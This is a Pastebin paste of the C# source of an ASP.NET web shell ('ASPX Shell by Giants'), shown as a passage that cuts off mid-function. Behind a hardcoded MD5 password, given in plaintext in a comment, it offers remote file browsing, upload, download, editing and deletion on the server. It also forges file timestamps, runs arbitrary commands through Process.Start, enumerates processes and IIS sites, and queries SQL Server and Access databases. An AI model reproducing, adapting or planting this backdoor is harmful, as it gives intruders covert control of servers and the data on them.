Advertisement
Guest User

asp

a guest
Apr 17th, 2018
45
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.64 KB | None | 0 0
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %>
  2. <%@ import Namespace="System.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4. <%@ import Namespace="System.Data" %>
  5. <%@ import Namespace="System.Data.OleDb" %>
  6. <%@ import Namespace="Microsoft.Win32" %>
  7. <%@ import Namespace="System.Net.Sockets" %>
  8. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  9. <%@ import Namespace="System.DirectoryServices" %>
  10. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  11.  
  12. <script runat="server">
  13. /*
  14.  
  15. */
  16. public string Password = "82c9dcda9c3b05baf6c3f901da3ef522";//PASS:sniperjo
  17. public string SessionName = "ASPX Shell by Giants";
  18. public string Bin_Action = "";
  19. public string Bin_Request = "";
  20. protected OleDbConnection conn = new OleDbConnection();
  21. protected OleDbCommand comm = new OleDbCommand();
  22.  
  23. protected void Page_Load(object sender, EventArgs e)
  24. {
  25.  
  26. if (Session[SessionName] != "BIN")
  27. {
  28. Bin_login();
  29. }
  30. else
  31. {
  32. if (!IsPostBack)
  33. {
  34. Bin_main();
  35. }
  36. else
  37. {
  38.  
  39. Bin_Action = Request["goaction"];
  40. if (Bin_Action == "del")
  41. {
  42. Bin_Request = Request["todo"];
  43. Bin_Filedel(Bin_Request, 1);
  44. }
  45. if (Bin_Action == "change")
  46. {
  47. Bin_Request = Request["todo"];
  48. Bin_FileList(Bin_Request);
  49. }
  50. if (Bin_Action == "deldir")
  51. {
  52. Bin_Request = Request["todo"];
  53. Bin_Filedel(Bin_Request, 2);
  54. }
  55. if (Bin_Action == "down")
  56. {
  57. Bin_Request = Request["todo"];
  58. Bin_Filedown(Bin_Request);
  59. }
  60. if (Bin_Action == "rename")
  61. {
  62. Bin_Request = Request["todo"];
  63. Bin_FileRN(Bin_Request, 1);
  64. }
  65. if (Bin_Action == "renamedir")
  66. {
  67. Bin_Request = Request["todo"];
  68. Bin_FileRN(Bin_Request, 2);
  69. }
  70. if (Bin_Action == "showatt")
  71. {
  72. Bin_Request = Request["todo"];
  73. Bin_Fileatt(Bin_Request);
  74. }
  75. if (Bin_Action == "edit")
  76. {
  77. Bin_Request = Request["todo"];
  78. Bin_FileEdit(Bin_Request);
  79. }
  80. if (Bin_Action == "postdata")
  81. {
  82.  
  83. Bin_Request = Request["todo"];
  84. Session["Bin_Table"] = Bin_Request;
  85. Bin_DataGrid.CurrentPageIndex = 0;
  86. Bin_DBstrTextBox.Text = "";
  87. Bin_Databind();
  88. }
  89. if (Bin_Action == "changedata")
  90. {
  91. Session["Bin_Table"] = null;
  92. Bin_Request = Request["todo"];
  93. Session["Bin_Option"] = Request["intext"];
  94. Bin_Change();
  95. Bin_DBinfoLabel.Visible = false;
  96. Bin_DBstrTextBox.Text = Bin_Request;
  97.  
  98. }
  99. if (Session["Bin_Table"] != null)
  100. {
  101. Bin_Databind();
  102. }
  103.  
  104. }
  105. }
  106. }
  107. public void Bin_login()
  108. {
  109. Bin_LoginPanel.Visible = true;
  110. Bin_MainPanel.Visible = false;
  111. Bin_MenuPanel.Visible = false;
  112. Bin_FilePanel.Visible = false;
  113. Bin_CmdPanel.Visible = false;
  114. Bin_SQLPanel.Visible = false;
  115. Bin_SuPanel.Visible = false;
  116. Bin_IISPanel.Visible = false;
  117. Bin_PortPanel.Visible = false;
  118. Bin_RegPanel.Visible = false;
  119. }
  120. public void Bin_main()
  121. {
  122. TimeLabel.Text = DateTime.Now.ToString();
  123. Bin_PortPanel.Visible = false;
  124. Bin_RegPanel.Visible = false;
  125. Bin_LoginPanel.Visible = false;
  126. Bin_MainPanel.Visible = true;
  127. Bin_MenuPanel.Visible = true;
  128. Bin_FilePanel.Visible = false;
  129. Bin_CmdPanel.Visible = false;
  130. Bin_SQLPanel.Visible = false;
  131. Bin_SuPanel.Visible = false;
  132. Bin_IISPanel.Visible = false;
  133. string ServerIP = "Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  134. string HostName = "HostName : " + Environment.MachineName + "<br>";
  135. string OS = "OS Version : " + Environment.OSVersion + "</br>";
  136. string IISversion = "IIS Version : " + Request.ServerVariables["SERVER_SOFTWARE"] + "<br>";
  137. string PATH_INFO = "PATH_TRANSLATED : " + Request.ServerVariables["PATH_TRANSLATED"] + "<br>";
  138. InfoLabel.Text = "<hr><center><b><U>SYS-INFO</U></B></center>";
  139. InfoLabel.Text += ServerIP + HostName + OS + IISversion + PATH_INFO + "<hr>";
  140. InfoLabel.Text += Bin_Process() + "<hr>";
  141.  
  142. }
  143. private bool CheckIsNumber(string sSrc)
  144. {
  145. System.Text.RegularExpressions.Regex reg = new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  146.  
  147. if (reg.IsMatch(sSrc))
  148. {
  149. return true;
  150. }
  151. else
  152. {
  153. return false;
  154. }
  155. }
  156. public string Bin_iisinfo()
  157. {
  158. string iisinfo = "";
  159. string iisstart = "";
  160. string iisend = "";
  161. string iisstr = "IIS://localhost/W3SVC";
  162. int i = 0;
  163. try
  164. {
  165. DirectoryEntry mydir = new DirectoryEntry(iisstr);
  166. iisstart = "<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  167. foreach (DirectoryEntry child in mydir.Children)
  168. {
  169. if (CheckIsNumber(child.Name.ToString()))
  170. {
  171. string dirstr = child.Name.ToString();
  172. string tmpstr = "";
  173. DirectoryEntry newdir = new DirectoryEntry(iisstr + "/" + dirstr);
  174. DirectoryEntry newdir1 = newdir.Children.Find("root", "IIsWebVirtualDir");
  175. iisinfo += "<TR><TD align=center>" + (i = i + 1) + "</TD>";
  176. iisinfo += "<TD align=center>" + newdir1.Properties["AnonymousUserName"].Value + "</TD>";
  177. iisinfo += "<TD>" + child.Properties["ServerBindings"][0] + "</TD>";
  178. iisinfo += "<TD><a href=javascript:Command('change','" + formatpath(newdir1.Properties["Path"].Value.ToString()) + "');>" + newdir1.Properties["Path"].Value + "</a></TD>";
  179. iisinfo += "</TR>";
  180. }
  181. }
  182. iisend = "</TABLE><hr>";
  183. }
  184. catch (Exception error)
  185. {
  186. Bin_Error(error.Message);
  187. }
  188. return iisstart + iisinfo + iisend;
  189. }
  190. public string Bin_Process()
  191. {
  192. string htmlstr = "<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=left width=20%><B>Process</B></TD><TD align=left width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  193. string prostr = "";
  194. string htmlend = "</TR></TABLE>";
  195. try
  196. {
  197. Process[] myprocess = Process.GetProcesses();
  198. foreach (Process p in myprocess)
  199. {
  200. prostr += "<TR><TD align=center>" + p.Id.ToString() + "</TD>";
  201. prostr += "<TD align=left>" + p.ProcessName.ToString() + "</TD>";
  202. prostr += "<TD align=left>" + p.WorkingSet.ToString() + "</TD>";
  203. prostr += "<TD align=center>" + p.Threads.Count.ToString() + "</TD>";
  204. }
  205. }
  206. catch (Exception Error)
  207. {
  208. Bin_Error(Error.Message);
  209. }
  210. return htmlstr + prostr + htmlend;
  211. }
  212. protected void LoginButton_Click(object sender, EventArgs e)
  213. {
  214. string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  215. if (MD5Pass == Password)
  216. {
  217. Session[SessionName] = "BIN";
  218. Bin_main();
  219. }
  220. else
  221. {
  222. Bin_login();
  223. }
  224. }
  225.  
  226. protected void LogoutButton_Click(object sender, EventArgs e)
  227. {
  228. Session.Abandon();
  229. Bin_login();
  230. }
  231.  
  232. protected void FileButton_Click(object sender, EventArgs e)
  233. {
  234. Bin_LoginPanel.Visible = false;
  235. Bin_MenuPanel.Visible = true;
  236. Bin_MainPanel.Visible = false;
  237. Bin_FilePanel.Visible = true;
  238. Bin_CmdPanel.Visible = false;
  239. Bin_SQLPanel.Visible = false;
  240. Bin_SuPanel.Visible = false;
  241. Bin_IISPanel.Visible = false;
  242. Bin_PortPanel.Visible = false;
  243. Bin_RegPanel.Visible = false;
  244. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  245. Bin_CopyTextBox.Text = formatpath(Server.MapPath("."));
  246. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  247. Bin_FileList(Server.MapPath("."));
  248.  
  249. }
  250.  
  251. protected void MainButton_Click(object sender, EventArgs e)
  252. {
  253. Bin_main();
  254. }
  255. public void Bin_DriveList()
  256. {
  257. string file = "<input type=hidden name=goaction><input type=hidden name=todo>";
  258. file += "<hr>Drives : ";
  259. string[] drivers = Directory.GetLogicalDrives();
  260. for (int i = 0; i < drivers.Length; i++)
  261. {
  262. file += "<a href=javascript:Command('change','" + formatpath(drivers[i]) + "');>" + drivers[i] + "</a>&nbsp;";
  263. }
  264. file += " WebRoot : <a href=javascript:Command('change','" + formatpath(Server.MapPath(".")) + "');>" + Server.MapPath(".") + "</a>";
  265. Bin_FileLabel.Text = file;
  266. }
  267.  
  268. public void Bin_FileList(string Bin_path)
  269. {
  270. Bin_FilePanel.Visible = true;
  271. Bin_CreateTextBox.Text = "";
  272. Bin_CopytoTextBox.Text = "";
  273. Bin_CopyTextBox.Text = Bin_path;
  274. Bin_upTextBox.Text = Bin_path;
  275. Bin_IISPanel.Visible = false;
  276. Bin_DriveList();
  277. string tmpstr="";
  278. string Bin_Filelist = Bin_FilelistLabel.Text;
  279. Bin_Filelist = "<hr>";
  280. Bin_Filelist += "<table width=90% border=0 align=center>";
  281. Bin_Filelist += "<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  282. Bin_Filelist += "<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  283. try
  284. {
  285. Bin_Filelist += "<tr><td>";
  286. string parstr = "";
  287. if (Bin_path.Length < 4)
  288. {
  289. parstr = formatpath(Bin_path);
  290.  
  291. }
  292. else
  293. {
  294. parstr = formatpath(Directory.GetParent(Bin_path).ToString());
  295.  
  296. }
  297. Bin_Filelist += "<i><b><a href=javascript:Command('change','" + parstr + "');>|Parent Directory|</a></b></i>";
  298. Bin_Filelist += "</td></tr>";
  299.  
  300. DirectoryInfo Bin_dir = new DirectoryInfo(Bin_path);
  301. foreach (DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  302. {
  303. string foldername = formatpath(Bin_path) + "/" + formatfile(Bin_folder.Name);
  304. tmpstr += "<tr>";
  305. tmpstr += "<td><a href=javascript:Command('change','" + foldername + "')>" + Bin_folder.Name + "</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_folder.Name) + "</td><td><a href=javascript:Command('renamedir','" + foldername + "');>Ren</a>|<a href=javascript:Command('showatt','" + foldername + "/');>Att</a>|<a href=javascript:Command('deldir','" + foldername + "');>Del</a></td>";
  306. tmpstr += "</tr>";
  307. }
  308. foreach (FileInfo Bin_file in Bin_dir.GetFiles())
  309. {
  310. string filename = formatpath(Bin_path) + "/" + formatfile(Bin_file.Name);
  311. tmpstr += "<tr>";
  312. tmpstr += "<td>" + Bin_file.Name + "</td><td>" + Bin_file.Length + "</td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_file.Name) + "</td><td><a href=javascript:Command('edit','" + filename + "');>Edit</a>|<a href=javascript:Command('rename','" + filename + "');>Ren</a>|<a href=javascript:Command('down','" + filename + "');>Down</a>|<a href=javascript:Command('showatt','" + filename + "');>Att</a>|<a href=javascript:Command('del','" + filename + "');>Del</a></td>";
  313. tmpstr += "</tr>";
  314. }
  315. tmpstr += "</talbe>";
  316. }
  317. catch (Exception Error)
  318. {
  319. Bin_Error(Error.Message);
  320.  
  321. }
  322.  
  323. Bin_FilelistLabel.Text = Bin_Filelist + tmpstr;
  324. }
  325. public void Bin_Filedel(string instr,int type)
  326. {
  327. try
  328. {
  329. if (type == 1)
  330. {
  331. File.Delete(instr);
  332. }
  333. if (type == 2)
  334. {
  335. foreach (string tmp in Directory.GetFileSystemEntries(instr))
  336. {
  337. if (File.Exists(tmp))
  338. {
  339. File.Delete(tmp);
  340. }
  341. else
  342. {
  343. Bin_Filedel(tmp, 2);
  344. }
  345. }
  346. Directory.Delete(instr);
  347. }
  348. }
  349. catch (Exception Error)
  350. {
  351. Bin_Error(Error.Message);
  352. }
  353. Bin_FileList(Bin_upTextBox.Text);
  354. }
  355. public void Bin_FileRN(string instr,int type)
  356. {
  357. try
  358. {
  359. if (type == 1)
  360. {
  361. string[] array = instr.Split(',');
  362.  
  363. File.Move(array[0], array[1]);
  364. }
  365. if (type == 2)
  366. {
  367. string[] array = instr.Split(',');
  368. Directory.Move(array[0], array[1]);
  369. }
  370. }
  371. catch (Exception Error)
  372. {
  373. Bin_Error(Error.Message);
  374. }
  375. Bin_FileList(Bin_upTextBox.Text);
  376. }
  377. public void Bin_Filedown(string instr)
  378. {
  379. try
  380. {
  381. FileStream MyFileStream = new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  382. long FileSize = MyFileStream.Length;
  383. byte[] Buffer = new byte[(int)FileSize];
  384. MyFileStream.Read(Buffer, 0, (int)FileSize);
  385. MyFileStream.Close();
  386. Response.AddHeader("Content-Disposition", "attachment;filename=" + instr);
  387. Response.Charset = "UTF-8";
  388. Response.ContentType = "application/octet-stream";
  389. Response.BinaryWrite(Buffer);
  390. Response.Flush();
  391. Response.End();
  392. }
  393. catch (Exception Error)
  394. {
  395. Bin_Error(Error.Message);
  396. }
  397.  
  398. }
  399. public void Bin_Fileatt(string instr)
  400. {
  401. Bin_AttPanel.Visible = true;
  402. Bin_FilePanel.Visible = true;
  403. try
  404. {
  405. string Att = File.GetAttributes(instr).ToString();
  406. Bin_ReadOnlyCheckBox.Checked = false;
  407. Bin_SystemCheckBox.Checked = false;
  408. Bin_HiddenCheckBox.Checked = false;
  409. Bin_ArchiveCheckBox.Checked = false;
  410.  
  411. if (Att.LastIndexOf("ReadOnly") != -1)
  412. {
  413. Bin_ReadOnlyCheckBox.Checked = true;
  414. }
  415. if (Att.LastIndexOf("System") != -1)
  416. {
  417. Bin_SystemCheckBox.Checked = true;
  418. }
  419. if (Att.LastIndexOf("Hidden") != -1)
  420. {
  421. Bin_HiddenCheckBox.Checked = true;
  422. }
  423. if (Att.LastIndexOf("Archive") != -1)
  424. {
  425. Bin_ArchiveCheckBox.Checked = true;
  426. }
  427. Bin_CreationTimeTextBox.Text = File.GetCreationTime(instr).ToString();
  428. Bin_LastWriteTimeTextBox.Text = File.GetLastWriteTime(instr).ToString();
  429. Bin_AccessTimeTextBox.Text = File.GetLastAccessTime(instr).ToString();
  430. }
  431. catch (Exception Error)
  432. {
  433. Bin_Error(Error.Message);
  434. }
  435. Bin_AttLabel.Text = instr;
  436. Session["FileName"] = instr;
  437. Bin_DriveList();
  438. }
  439. public void Bin_FileEdit(string instr)
  440. {
  441. Bin_FilePanel.Visible = true;
  442. Bin_EditPanel.Visible = true;
  443. Bin_DriveList();
  444. Bin_EditpathTextBox.Text = instr;
  445. StreamReader SR = new StreamReader(instr, Encoding.Default);
  446. Bin_EditTextBox.Text = SR.ReadToEnd();
  447. SR.Close();
  448. }
  449. protected void Bin_upButton_Click(object sender, EventArgs e)
  450. {
  451.  
  452. string uppath = Bin_upTextBox.Text;
  453. if (uppath.Substring(uppath.Length - 1, 1) != @"/")
  454. {
  455. uppath = uppath + @"/";
  456. }
  457. try
  458. {
  459. Bin_UpFile.PostedFile.SaveAs(uppath + Path.GetFileName(Bin_UpFile.Value));
  460.  
  461. }
  462. catch (Exception error)
  463. {
  464. Bin_Error(error.Message);
  465. }
  466. Bin_FileList(uppath);
  467. }
  468. public void Bin_Error(string error)
  469. {
  470. Bin_ErrorLabel.Text = "Error : " + error;
  471. }
  472. public string formatpath(string instr)
  473. {
  474. instr = instr.Replace(@"\", "/");
  475. if (instr.Length < 4)
  476. {
  477. instr = instr.Replace(@"/", "");
  478. }
  479. if (instr.Length == 2)
  480. {
  481. instr = instr + @"/";
  482. }
  483. instr = instr.Replace(" ", "%20");
  484. return instr;
  485. }
  486. public string formatfile(string instr)
  487. {
  488. instr = instr.Replace(" ", "%20");
  489. return instr;
  490.  
  491. }
  492. protected void Bin_GoButton_Click(object sender, EventArgs e)
  493. {
  494. Bin_FileList(Bin_upTextBox.Text);
  495. }
  496.  
  497. protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  498. {
  499. string newfile = Bin_CreateTextBox.Text;
  500. string filepath = Bin_upTextBox.Text;
  501. filepath = filepath + "/" + newfile;
  502. try
  503. {
  504. StreamWriter sw = new StreamWriter(filepath, true, Encoding.Default);
  505.  
  506. }
  507. catch (Exception Error)
  508. {
  509. Bin_Error(Error.Message);
  510. }
  511. Bin_FileList(Bin_upTextBox.Text);
  512. }
  513.  
  514. protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  515. {
  516. string dirpath = Bin_upTextBox.Text;
  517. string newdir = Bin_CreateTextBox.Text;
  518. newdir = dirpath + "/" + newdir;
  519. try
  520. {
  521. Directory.CreateDirectory(newdir);
  522.  
  523. }
  524. catch(Exception Error)
  525. {
  526. Bin_Error(Error.Message);
  527. }
  528. Bin_FileList(Bin_upTextBox.Text);
  529. }
  530.  
  531. protected void Bin_CopyButton_Click(object sender, EventArgs e)
  532. {
  533. string copystr = Bin_CopyTextBox.Text;
  534. string copyto = Bin_CopytoTextBox.Text;
  535. try
  536. {
  537. File.Copy(copystr, copyto);
  538. }
  539. catch (Exception Error)
  540. {
  541. Bin_Error(Error.Message);
  542. }
  543. Bin_CopytoTextBox.Text = "";
  544. Bin_FileList(Bin_upTextBox.Text);
  545. }
  546.  
  547. protected void Bin_CutButton_Click(object sender, EventArgs e)
  548. {
  549. string copystr = Bin_CopyTextBox.Text;
  550. string copyto = Bin_CopytoTextBox.Text;
  551. try
  552. {
  553. File.Move(copystr, copyto);
  554. }
  555. catch (Exception Error)
  556. {
  557. Bin_Error(Error.Message);
  558. }
  559. Bin_CopytoTextBox.Text = "";
  560. Bin_FileList(Bin_upTextBox.Text);
  561. }
  562.  
  563. protected void Bin_SetButton_Click(object sender, EventArgs e)
  564. {
  565. try
  566. {
  567. string FileName = Session["FileName"].ToString();
  568. File.SetAttributes(FileName, FileAttributes.Normal);
  569. if (Bin_ReadOnlyCheckBox.Checked)
  570. {
  571. File.SetAttributes(FileName, FileAttributes.ReadOnly);
  572. }
  573.  
  574. if (Bin_SystemCheckBox.Checked)
  575. {
  576. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.System);
  577. }
  578. if (Bin_HiddenCheckBox.Checked)
  579. {
  580. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Hidden);
  581. }
  582. if (Bin_ArchiveCheckBox.Checked)
  583. {
  584. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Archive);
  585. }
  586. if (FileName.Substring(FileName.Length - 1, 1) == "/")
  587. {
  588. Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  589. Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  590. Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  591. }
  592. else
  593. {
  594. File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  595. File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  596. File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  597. }
  598. }
  599. catch (Exception Error)
  600. {
  601. Bin_Error(Error.Message);
  602. }
  603. Bin_FileList(Bin_upTextBox.Text);
  604. Response.Write("<script>alert('Success!')</sc" + "ript>");
  605. }
  606.  
  607. protected void Bin_EditButton_Click(object sender, EventArgs e)
  608. {
  609. try
  610. {
  611. StreamWriter SW = new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  612. SW.Write(Bin_EditTextBox.Text);
  613. SW.Close();
  614. }
  615. catch (Exception Error)
  616. {
  617. Bin_Error(Error.Message);
  618. }
  619. Bin_FileList(Bin_upTextBox.Text);
  620. Response.Write("<script>alert('Success!')</sc" + "ript>");
  621.  
  622. }
  623.  
  624. protected void Bin_BackButton_Click(object sender, EventArgs e)
  625. {
  626. Bin_FileList(Bin_upTextBox.Text);
  627. }
  628.  
  629. protected void Bin_SbackButton_Click(object sender, EventArgs e)
  630. {
  631. Bin_FileList(Bin_upTextBox.Text);
  632. }
  633.  
  634. protected void Bin_CmdButton_Click(object sender, EventArgs e)
  635. {
  636. Bin_MenuPanel.Visible = true;
  637. Bin_LoginPanel.Visible = false;
  638. Bin_CmdPanel.Visible = true;
  639. Bin_SQLPanel.Visible = false;
  640. Bin_CmdLabel.Text = "";
  641. Bin_SuPanel.Visible = false;
  642. Bin_IISPanel.Visible = false;
  643. Bin_RegPanel.Visible = false;
  644. Bin_PortPanel.Visible = false;
  645. }
  646.  
  647. protected void Bin_RunButton_Click(object sender, EventArgs e)
  648. {
  649. try
  650. {
  651. Process Cmdpro = new Process();
  652. Cmdpro.StartInfo.FileName = Bin_CmdPathTextBox.Text;
  653. Cmdpro.StartInfo.Arguments = Bin_CmdShellTextBox.Text;
  654. Cmdpro.StartInfo.UseShellExecute = false;
  655. Cmdpro.StartInfo.RedirectStandardInput = true;
  656. Cmdpro.StartInfo.RedirectStandardOutput = true;
  657. Cmdpro.StartInfo.RedirectStandardError = true;
  658. Cmdpro.Start();
  659. string cmdstr = Cmdpro.StandardOutput.ReadToEnd();
  660. cmdstr = cmdstr.Replace("<", "&lt;");
  661. cmdstr = cmdstr.Replace(">", "&gt;");
  662. Bin_CmdLabel.Text = "<hr><div id=\"cmd\"><pre>" + cmdstr + "</pre></div>";
  663. }
  664. catch (Exception Error)
  665. {
  666. Bin_Error(Error.Message);
  667. }
  668. }
  669.  
  670. protected void Bin_SQLButton_Click(object sender, EventArgs e)
  671. {
  672. Bin_CmdPanel.Visible = false;
  673. Bin_SQLPanel.Visible = true;
  674. Bin_LoginPanel.Visible = false;
  675. Bin_MenuPanel.Visible = true;
  676. Bin_AccPanel.Visible = false;
  677. Bin_Scroll.Visible = false;
  678. Bin_DBmenuPanel.Visible = false;
  679. Bin_dirPanel.Visible = false;
  680. Bin_SuPanel.Visible = false;
  681. Bin_IISPanel.Visible = false;
  682. Bin_PortPanel.Visible = false;
  683. Bin_RegPanel.Visible =false;
  684. }
  685.  
  686. protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  687. {
  688. Session["Bin_Table"] = null;
  689. Bin_SQLconnTextBox.Text = "server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  690. Bin_SQLRadioButton.Checked = true;
  691. Bin_AccRadioButton.Checked = false;
  692. Bin_AccPanel.Visible = false;
  693. Bin_DataGrid.Visible = false;
  694. Bin_Scroll.Visible = false;
  695. Bin_DBmenuPanel.Visible = false;
  696. Bin_dirPanel.Visible = false;
  697. }
  698.  
  699. protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  700. {
  701. Session["Bin_Table"] = null;
  702. Bin_SQLconnTextBox.Text = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  703. Bin_SQLRadioButton.Checked = false;
  704. Bin_AccRadioButton.Checked = true;
  705. Bin_DBmenuPanel.Visible = false;
  706. Bin_AccPanel.Visible = false;
  707. Bin_DataGrid.Visible = false;
  708. Bin_Scroll.Visible = false;
  709. Bin_dirPanel.Visible = false;
  710.  
  711. }
  712. protected void OpenConnection()
  713. {
  714. if (conn.State == ConnectionState.Closed)
  715. {
  716. try
  717. {
  718. conn.ConnectionString = Bin_SQLconnTextBox.Text;
  719. comm.Connection = conn;
  720. conn.Open();
  721. }
  722. catch (Exception Error)
  723. {
  724. Bin_Error(Error.Message);
  725. }
  726. }
  727. }
  728. protected void CloseConnection()
  729. {
  730. if (conn.State == ConnectionState.Open)
  731. conn.Close();
  732. conn.Dispose();
  733. comm.Dispose();
  734. }
  735. public DataTable Bin_DataTable(string sqlstr)
  736. {
  737. OleDbDataAdapter da = new OleDbDataAdapter();
  738. DataTable datatable = new DataTable();
  739. try
  740. {
  741. OpenConnection();
  742. comm.CommandType = CommandType.Text;
  743. comm.CommandText = sqlstr;
  744. da.SelectCommand = comm;
  745. da.Fill(datatable);
  746. }
  747. catch (Exception)
  748. {
  749. }
  750. finally
  751. {
  752. CloseConnection();
  753. }
  754. return datatable;
  755. }
  756. protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  757. {
  758. try
  759. {
  760. Session["Bin_Table"] = null;
  761. Bin_DataGrid.CurrentPageIndex = 0;
  762. Bin_DataGrid.AllowPaging = true;
  763. if (Bin_SQLRadioButton.Checked)
  764. {
  765. Bin_DBmenuPanel.Visible = true;
  766. Bin_DBinfoLabel.Visible = true;
  767. Bin_AccPanel.Visible = false;
  768. Bin_Scroll.Visible = false;
  769. Bin_dirPanel.Visible = false;
  770. OpenConnection();
  771. DataTable ver = Bin_DataTable(@"SELECT @@VERSION");
  772. DataTable dbs = Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  773. DataTable cdb = Bin_DataTable(@"SELECT DB_NAME()");
  774. DataTable rol = Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  775. DataTable owner = Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  776. string dbo = "";
  777. if (owner.Rows[0][0].ToString() == "1")
  778. {
  779. dbo = "db_owner";
  780. }
  781. else
  782. {
  783. dbo = "public";
  784. }
  785. if (rol.Rows[0][0].ToString() == "1")
  786. {
  787. dbo = "<font color=blue>sa</font>";
  788. }
  789. string db_info = "";
  790. db_info = "<i><b><font color=red>SQLversion</font> : </b></i>" + ver.Rows[0][0].ToString() + "<br><hr>";
  791. string db_name = "";
  792. for (int i = 0; i < dbs.Rows.Count; i++)
  793. {
  794. db_name += dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>" + cdb.Rows[0][0].ToString() + "</font>") + "&nbsp;|&nbsp;";
  795. }
  796. db_info += "<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">" + db_name + "<br><div><hr>";
  797. db_info += "<i><b><font color=red>SRVROLEMEMBER</font></i></b> : " + dbo + "<hr>";
  798. Bin_DBinfoLabel.Text = db_info;
  799. }
  800. if (Bin_AccRadioButton.Checked)
  801. {
  802. Bin_DataGrid.Visible = false;
  803. Bin_SAexecButton.Visible = false;
  804. Bin_Accbind();
  805. }
  806. }
  807. catch (Exception E)
  808. {
  809. Bin_Error(E.Message);
  810. }
  811. }
  812. protected void Bin_Accbind()
  813. {
  814. try
  815. {
  816. Bin_DBmenuPanel.Visible = false;
  817. Bin_AccPanel.Visible = true;
  818. OpenConnection();
  819. DataTable acctable = new DataTable();
  820. acctable = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  821. string accstr = "<input type=hidden name=goaction><input type=hidden name=todo>";
  822. accstr += "Tables Count : " + acctable.Rows.Count + "<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  823. for (int i = 0; i < acctable.Rows.Count; i++)
  824. {
  825. accstr += "<option value=" + acctable.Rows[i].ItemArray[2].ToString() + ">" + acctable.Rows[i].ItemArray[2].ToString() + "</option>";
  826. }
  827. if (Session["Bin_Table"] != null)
  828. {
  829. accstr += "<option SELECTED>" + Session["Bin_Table"] + "</option>";
  830. }
  831. accstr += "</SELECT>";
  832. Bin_AccinfoLabel.Text = accstr;
  833. CloseConnection();
  834. }
  835. catch (Exception Error)
  836. {
  837. Bin_Error(Error.Message);
  838. }
  839. }
  840. protected void Bin_Databind()
  841. {
  842. try
  843. {
  844. Bin_SAexecButton.Visible = false;
  845. Bin_Accbind();
  846. Bin_Scroll.Visible = true;
  847. if (Bin_SQLRadioButton.Checked)
  848. {
  849. Bin_DBmenuPanel.Visible = true;
  850. Bin_DBinfoLabel.Visible = false;
  851. }
  852. Bin_DataGrid.Visible = true;
  853. DataTable databind = Bin_DataTable(@"SELECT * FROM " + Session["Bin_Table"]);
  854. Bin_DataGrid.DataSource = databind;
  855. Bin_DataGrid.DataBind();
  856. }
  857. catch (Exception Error)
  858. {
  859.  
  860. Bin_Error(Error.Message);
  861. }
  862. }
  863.  
  864. public void Bin_ExecSql(string instr)
  865. {
  866. try
  867. {
  868. OpenConnection();
  869. comm.CommandType = CommandType.Text;
  870. comm.CommandText = instr;
  871. comm.ExecuteNonQuery();
  872. }
  873. catch (Exception e)
  874. {
  875. Bin_Error(e.Message);
  876. }
  877. }
  878. public void Item_DataBound(object sender,DataGridItemEventArgs e)
  879. {
  880.  
  881. for (int i = 2; i < e.Item.Cells.Count; i++)
  882. {
  883. e.Item.Cells[i].Text = e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  884. }
  885.  
  886. }
  887. protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  888. {
  889. Bin_DataGrid.CurrentPageIndex = e.NewPageIndex;
